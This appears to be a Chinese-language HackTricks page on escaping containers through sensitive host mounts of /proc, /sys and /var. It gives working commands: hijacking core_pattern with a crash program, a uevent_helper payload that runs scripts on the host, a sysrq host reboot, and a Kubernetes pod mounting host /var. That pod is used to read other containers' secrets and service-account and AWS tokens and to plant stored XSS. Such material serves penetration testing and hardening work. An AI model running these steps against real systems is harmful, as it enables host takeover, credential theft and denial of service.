敏感挂载

Reading time: 13 minutes

tip

学习和实践 AWS 黑客技术：HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术：HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术：HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

查看 订阅计划!
加入 💬 Discord 群组 或 Telegram 群组 或在 Twitter 🐦 上关注我们 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。

暴露 /proc、/sys 和 /var 而没有适当的命名空间隔离会引入重大安全风险，包括攻击面扩大和信息泄露。这些目录包含敏感文件，如果配置错误或被未经授权的用户访问，可能导致容器逃逸、主机修改，或提供有助于进一步攻击的信息。例如，错误地挂载 -v /proc:/host/proc 可能会由于其基于路径的特性绕过 AppArmor 保护，使得 /host/proc 处于未保护状态。

您可以在 https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts** 中找到每个潜在漏洞的更多详细信息。**

procfs 漏洞

`/proc/sys`

该目录允许访问以修改内核变量，通常通过 sysctl(2)，并包含几个值得关注的子目录：

`/proc/sys/kernel/core_pattern`

在 core(5) 中描述。
如果您可以写入此文件，则可以写入一个管道 |，后跟将在崩溃发生后执行的程序或脚本的路径。
攻击者可以通过执行 mount 找到主机中其容器的路径，并将路径写入其容器文件系统中的二进制文件。然后，崩溃一个程序以使内核在容器外执行该二进制文件。
测试和利用示例：

bash

[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler

检查 this post 以获取更多信息。

崩溃的示例程序：

int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}

`/proc/sys/kernel/modprobe`

详细信息见 proc(5)。
包含内核模块加载器的路径，用于加载内核模块。
检查访问示例：

bash

ls -l $(cat /proc/sys/kernel/modprobe) # 检查对 modprobe 的访问

`/proc/sys/vm/panic_on_oom`

参考 proc(5)。
一个全局标志，控制内核在发生 OOM 条件时是否崩溃或调用 OOM 杀手。

`/proc/sys/fs`

根据 proc(5)，包含有关文件系统的选项和信息。
写入访问可能会启用针对主机的各种拒绝服务攻击。

`/proc/sys/fs/binfmt_misc`

允许根据魔术数字注册非本地二进制格式的解释器。
如果 /proc/sys/fs/binfmt_misc/register 可写，可能导致特权升级或 root shell 访问。
相关漏洞和解释：
通过 binfmt_misc 的穷人根工具包
深入教程：视频链接

其他 `/proc` 中的内容

`/proc/config.gz`

如果启用了 CONFIG_IKCONFIG_PROC，可能会泄露内核配置。
对攻击者识别运行内核中的漏洞非常有用。

`/proc/sysrq-trigger`

允许调用 Sysrq 命令，可能导致立即重启系统或其他关键操作。
重启主机示例：

bash

echo b > /proc/sysrq-trigger # 重启主机

`/proc/kmsg`

暴露内核环形缓冲区消息。
可以帮助进行内核漏洞利用、地址泄漏，并提供敏感系统信息。

`/proc/kallsyms`

列出内核导出的符号及其地址。
对于内核漏洞开发至关重要，尤其是在克服 KASLR 时。
地址信息在 kptr_restrict 设置为 1 或 2 时受到限制。
详细信息见 proc(5)。

`/proc/[pid]/mem`

与内核内存设备 /dev/mem 交互。
历史上容易受到特权升级攻击。
更多信息见 proc(5)。

`/proc/kcore`

以 ELF 核心格式表示系统的物理内存。
读取可能会泄露主机系统和其他容器的内存内容。
大文件大小可能导致读取问题或软件崩溃。
详细用法见 2019 年转储 /proc/kcore。

`/proc/kmem`

/dev/kmem 的替代接口，表示内核虚拟内存。
允许读取和写入，因此可以直接修改内核内存。

`/proc/mem`

/dev/mem 的替代接口，表示物理内存。
允许读取和写入，修改所有内存需要解析虚拟地址到物理地址。

`/proc/sched_debug`

返回进程调度信息，绕过 PID 命名空间保护。
暴露进程名称、ID 和 cgroup 标识符。

`/proc/[pid]/mountinfo`

提供有关进程挂载命名空间中挂载点的信息。
暴露容器 rootfs 或映像的位置。

`/sys` 漏洞

`/sys/kernel/uevent_helper`

用于处理内核设备 uevents。
写入 /sys/kernel/uevent_helper 可以在 uevent 触发时执行任意脚本。
利用示例： %%%bash

创建有效载荷

echo "#!/bin/sh" > /evil-helper echo "ps > /output" >> /evil-helper chmod +x /evil-helper

从 OverlayFS 挂载中查找主机路径

hostpath=$(sed -n 's/.\perdir=([^,]_).*/\1/p' /etc/mtab)

将 uevent_helper 设置为恶意助手

echo "$host_path/evil-helper" > /sys/kernel/uevent_helper

触发 uevent

echo change > /sys/class/mem/null/uevent

读取输出

cat /output %%%

`/sys/class/thermal`

控制温度设置，可能导致 DoS 攻击或物理损坏。

`/sys/kernel/vmcoreinfo`

泄露内核地址，可能危及 KASLR。

`/sys/kernel/security`

存放 securityfs 接口，允许配置 Linux 安全模块，如 AppArmor。
访问可能使容器能够禁用其 MAC 系统。

`/sys/firmware/efi/vars` 和 `/sys/firmware/efi/efivars`

暴露与 NVRAM 中的 EFI 变量交互的接口。
错误配置或利用可能导致笔记本电脑砖化或主机无法启动。

`/sys/kernel/debug`

debugfs 提供了一个“无规则”的调试接口给内核。
由于其不受限制的性质，历史上存在安全问题。

`/var` 漏洞

主机的 /var 文件夹包含容器运行时套接字和容器的文件系统。如果该文件夹在容器内挂载，该容器将获得对其他容器文件系统的读写访问权限并具有 root 权限。这可能被滥用以在容器之间进行切换，导致拒绝服务，或为其他容器和在其中运行的应用程序设置后门。

Kubernetes

如果像这样的容器通过 Kubernetes 部署：

yaml

apiVersion: v1
kind: Pod
metadata:
name: pod-mounts-var
labels:
app: pentest
spec:
containers:
- name: pod-mounts-var-folder
image: alpine
volumeMounts:
- mountPath: /host-var
name: noderoot
command: [ "/bin/sh", "-c", "--" ]
args: [ "while true; do sleep 30; done;" ]
volumes:
- name: noderoot
hostPath:
path: /var

在 pod-mounts-var-folder 容器内：

bash

/ # find /host-var/ -type f -iname '*.env*' 2>/dev/null

/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/201/fs/usr/src/app/.env.example
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/135/fs/docker-entrypoint.d/15-local-resolvers.envsh

/ # cat /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/105/fs/usr/src/app/.env.example | grep -i secret
JWT_SECRET=85d<SNIP>a0
REFRESH_TOKEN_SECRET=14<SNIP>ea

/ # find /host-var/ -type f -iname 'index.html' 2>/dev/null
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/57/fs/usr/src/app/node_modules/@mapbox/node-pre-gyp/lib/util/nw-pre-gyp/index.html
<SNIP>
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/share/nginx/html/index.html
/host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/132/fs/usr/share/nginx/html/index.html

/ # echo '<!DOCTYPE html><html lang="en"><head><script>alert("Stored XSS!")</script></head></html>' > /host-var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/140/fs/usr/sh
are/nginx/html/index2.html

XSS 已实现：

通过挂载的 /var 文件夹存储的 XSS

请注意，容器不需要重启或其他操作。通过挂载的 /var 文件夹所做的任何更改将立即生效。

您还可以替换配置文件、二进制文件、服务、应用程序文件和 shell 配置文件，以实现自动（或半自动）RCE。

访问云凭证

容器可以读取 K8s serviceaccount 令牌或 AWS webidentity 令牌，这使得容器能够获得对 K8s 或云的未经授权访问：

bash

/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
<SNIP>
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/kube-api-access-bljdj/..2025_01_22_12_17_53.265458487/token
/host-var/lib/kubelet/pods/01c671a5-aaeb-4e0b-adcd-1cacd2e418ac/volumes/kubernetes.io~projected/aws-iam-token/..2025_01_22_03_45_56.2328221474/token
/host-var/lib/kubelet/pods/5fb6bd26-a6aa-40cc-abf7-ecbf18dde1f6/volumes/kubernetes.io~projected/kube-api-access-fm2t6/..2025_01_22_12_25_25.3018586444/token

Docker

在Docker（或Docker Compose部署）中的利用方式完全相同，唯一的区别是其他容器的文件系统通常在不同的基础路径下可用：

bash

$ docker info | grep -i 'docker root\|storage driver'
Storage Driver: overlay2
Docker Root Dir: /var/lib/docker

所以文件系统位于 /var/lib/docker/overlay2/：

bash

$ sudo ls -la /var/lib/docker/overlay2

drwx--x---  4 root root  4096 Jan  9 22:14 00762bca8ea040b1bb28b61baed5704e013ab23a196f5fe4758dafb79dfafd5d
drwx--x---  4 root root  4096 Jan 11 17:00 03cdf4db9a6cc9f187cca6e98cd877d581f16b62d073010571e752c305719496
drwx--x---  4 root root  4096 Jan  9 21:23 049e02afb3f8dec80cb229719d9484aead269ae05afe81ee5880ccde2426ef4f
drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044cd22b68ff1bb152f1a3c8a377f2
<SNIP>

注意

实际路径在不同的设置中可能会有所不同，这就是为什么你最好的选择是使用 find 命令来定位其他容器的文件系统和 SA / web 身份令牌。

参考文献

tip

支持 HackTricks

查看 订阅计划!
加入 💬 Discord 群组 或 Telegram 群组 或在 Twitter 🐦 上关注我们 @hacktricks_live.
通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。